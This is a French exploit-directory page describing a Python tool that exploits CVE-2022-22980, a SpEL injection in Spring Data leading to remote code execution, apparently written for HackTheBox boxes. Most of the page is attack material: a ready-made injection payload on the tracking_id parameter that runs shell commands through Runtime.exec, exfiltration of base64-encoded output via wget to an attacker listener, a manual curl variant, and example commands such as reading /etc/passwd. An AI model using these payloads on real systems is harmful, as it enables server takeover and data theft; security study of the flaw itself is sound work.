Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-22980 — Exploitation de CVE-2022-22980 | Kitploit
Outils/GitHubGitHub/eliasdekiniweek/cve-2022-22980
Génération de PayloadsExploitationExploitation d'Applications WebCTFCommandement et ContrôleApprentissage et Éducation
GitHubeliasdekiniweek/cve-2022-22980

CVE-2022-22980

Exploitation de CVE-2022-22980

Voir le dépôt
14il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

SpEL RCE Exploit - CVE-2022-22980

Exploit pour l'exécution de code à distance (RCE) sur Spring Data via une injection SpEL (Spring Expression Language).

Descriptions

Vulnérabilité

La boîte expose un endpoint /search qui accepte un paramètre tracking_id vulnérable à l'injection SpEL. Cette injection permet l'exécution d'expressions Java malveillantes directement sur le serveur.

Principe d'exploitation

  1. Injecter une expression SpEL qui exécute une commande shell via Runtime.getRuntime().exec()
  2. Encoder l'output de la commande en base64
  3. Exfiltrer le résultat via une requête HTTP GET vers un listener contrôlé
  4. Décoder et afficher le résultat

Utilisation

Prérequis

  • Python 3.x avec les modules standards (http.server, , , )
Télécharger l’outil
subprocess
threading
base64
  • curl sur votre machine locale
  • wget sur la machine cible (pour l'exfiltration)
  • Un port 80 disponible (ou modifier LPORT dans le script)
  • Accès réseau vers la cible
  • Configuration

    Modifiez les paramètres dans le script selon votre environnement :

    root@kitploit:~
    TARGET = "http://<IP_CIBLE>:8080/search"   # URL de la cible
    LHOST = "<VOTRE_IP>"                        # IP locale (tun0 pour HTB)
    LPORT = 80                                  # Port d'écoute
    

    Exécution

    root@kitploit:~
    # Commande simple
    python3 spel_shell.py "whoami"
    
    # Commande avec pipe
    python3 spel_shell.py "cat /etc/passwd"
    
    # Énumération système
    python3 spel_shell.py "uname -a"
    
    # Vérifier l'accès réseau
    python3 spel_shell.py "curl -s http://httpbin.org/get"
    

    Exemple de sortie

    root@kitploit:~
    [*] Starting listener...
    [*] Server listening on port 80
    [*] Sending payload...
    Payload: tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://10.10.14.5:80/{}"})
    [*] Received data: cm9vdA==
    
    [+] Command output:
    
    root
    

    Payload manuel (référence)

    Si vous voulez tester la payload sans le script :

    root@kitploit:~
    # Terminal 1 : Démarrer le listener
    python3 -m http.server 80
    
    # Terminal 2 : Envoyer la payload
    curl -X POST \
      -d 'tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://<VOTRE_IP>:80/{}"})' \
      http://<IP_CIBLE>:8080/search
    

    Dépannage

    Erreur : "Address already in use"

    Le port 80 est occupé. Solutions :

    root@kitploit:~
    # Vérifier quel processus utilise le port
    sudo netstat -tlnp | grep :80
    
    # Arrêter Apache si actif
    sudo systemctl stop apache2
    
    # Ou utiliser un autre port
    # Modifiez LPORT dans le script et testez
    

    Pas de réponse ("No response received")

    1. Vérifiez la connectivité réseau : Assurez-vous que la cible peut atteindre votre LHOST:LPORT
    2. Testez avec une commande simple : python3 spel_shell.py "echo test"
    3. Vérifiez les droits de port : Le port 80 nécessite sudo sur Linux
    4. Vérifiez l'IP LHOST : Utilisez ifconfig (tun0 pour HTB) et non 127.0.0.1

    Erreur de décodage base64

    Si vous voyez "Raw data received" au lieu de "Command output", la commande n'a peut-être pas produit d'output valide. Testez une commande qui produit toujours de l'output.

    Architecture du script

    root@kitploit:~
    1. start_server() - Lance un serveur HTTP sur le port 80
                       ↓
    2. Envoie la payload SpEL via curl vers la cible
                       ↓
    3. La cible exécute la commande et encode le résultat en base64
                       ↓
    4. wget envoie le résultat vers le listener (GET http://LHOST:LPORT/<data>)
                       ↓
    5. Le Handler reçoit la data et la stocke
                       ↓
    6. Le script décode et affiche le résultat
    

    Avertissement

    Ce script est fourni à des fins éducatives pour les boîtes HackTheBox. Utilisez-le uniquement sur des environnements que vous avez la permission de tester.


    Auteur : Eliasdekiniweek Date : Février 2026
    Langue : Python 3